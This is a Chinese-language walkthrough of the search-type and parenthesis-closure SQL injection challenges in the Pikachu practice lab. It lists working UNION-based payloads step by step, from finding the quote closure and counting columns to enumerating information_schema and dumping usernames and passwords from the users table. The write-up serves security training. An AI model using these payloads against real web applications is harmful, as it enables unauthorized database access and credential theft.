搜索型注入

由题可知是搜索型注入(get),可直接在url中的name参数后进行修改,本质还是字符型注入,只是闭合不一样。

输入:

?name=%27&submit=查询     %27  == '  get			报错

根据报错信息判断闭合是**%’**

23

之后过程和字符型一样

name=' or 1=1-- q			可查询出所有账户数据

24

判断字段数

' order by 3 -- q

25

' order by 4 -- q				报错,字段数为3

26

' union select 1,2,3 -- q			判断回显点位置

27

'union select user(),database(),3 -- q		
可知用户名为root@localhost,数据库名为pikachu

29

' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pikachu' --  q
查询数据库pikachu下的所有表名httpinfo,member,message,users,xssblind

30

' union select 1, group_concat(column_name),3 from information_schema.columns where table_name='users' -- q
查询user下所有表明 user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password,level,id,username,password

31

' union select 1,group_concat(username),group_concat(password) from users -- q
查询字段username和password的内容

28

xx型注入

本质还是字符型注入,只是闭合不一样。

?name=%27&submit=查询     %27  == '  get	 	根据报错信息判断闭合是	')

32

之后过程和字符型一样

') or 1=1-- q			可查询出所有账户数据

33

判断字段数

') order by 2 -- q

34

') order by 3 -- q				报错,字段数为2

35

') union select 1,2 -- q			判断回显点位置

36

')union select user(),database() -- q		
可知用户名为root@localhost,数据库名为pikachu

37

') union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu' --  q
查询数据库pikachu下的所有表名httpinfo,member,message,users,xssblind

38

') union select 1, group_concat(column_name) from information_schema.columns where table_name='users' -- q
查询user下所有表明 user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password,level,id,username,password

39

') union select group_concat(username),group_concat(password) from users -- q
查询字段username和password的内容

40


参考链接:

无垠安全:https://www.wuyini.cn/952.html

Pikachu靶场通关之SQL注入 - FreeBuf网络安全行业门户:https://www.freebuf.com/articles/web/254079.html